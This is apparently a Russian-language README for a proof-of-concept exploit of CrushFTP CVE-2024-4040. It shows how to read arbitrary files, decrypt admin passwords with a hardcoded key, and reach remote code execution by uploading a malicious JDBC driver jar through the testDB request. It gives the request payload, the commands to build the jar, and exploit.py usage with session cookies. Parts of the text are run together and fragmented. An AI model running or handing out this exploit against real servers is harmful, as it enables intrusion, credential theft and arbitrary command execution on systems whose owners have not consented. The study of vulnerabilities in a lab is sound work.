
CVE-2024-4040 PoC
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <том>:/var/opt/CrushFTP10 markusmcnugen/crushftp:latest
exploit.py и decrypt.java для получения и расшифровки пароля. Ключ жёстко прописан, поэтому его можно расшифровать, а также можно читать произвольные файлы.crushadmin не существует, можно попытаться получить CrushFTP.log, где содержится информация об учётных записях.
<INCLUDE>CrushFTP.log</INCLUDE>

usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]
CVE-2024-4040
options:
-h, --help показать это сообщение и выйти
-u URL, --url URL Целевой URL
-H HEADERS, --headers HEADERS
Заголовки
--account ACCOUNT Целевая учётная запись
--shell
--jar-path JAR_PATH Путь к jar-файлу
user.XML.crushadmin.decrypt.java он расшифровывается.--shell предназначена для удобного просмотра результата после RCE. После загрузки jar-файла укажите --jar-path и --headers, чтобы увидеть результат выполнения команды:
--headers обязательно должен быть Cookie после входа, например --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"--jar-path равен /tmp/mysql_cmd_db_user_final_with_echo_base64.jar. Если файл находится в другом месте, обязательно укажите путь. Теоретически подойдёт и относительный путь, но рекомендуется абсолютный.
User Manager, затем кликните на пользователя слева. Перетащите папку, которую хотите сопоставить, в раздел "User's Stuff". В конце настройте права доступа – обязательно отметьте "upload".


testDB, позволяющая указать jar-файл и объект драйвера. В сочетании с возможностью загрузки это позволяет выполнить произвольный код.command=testDB&db_driver_file=<путь_к_вредоносному_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_команда>&db_pass=&c2f=<currentAuth>
id.db_user для её выполнения.mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jarcp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.javajavac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.javajar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *exit.python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"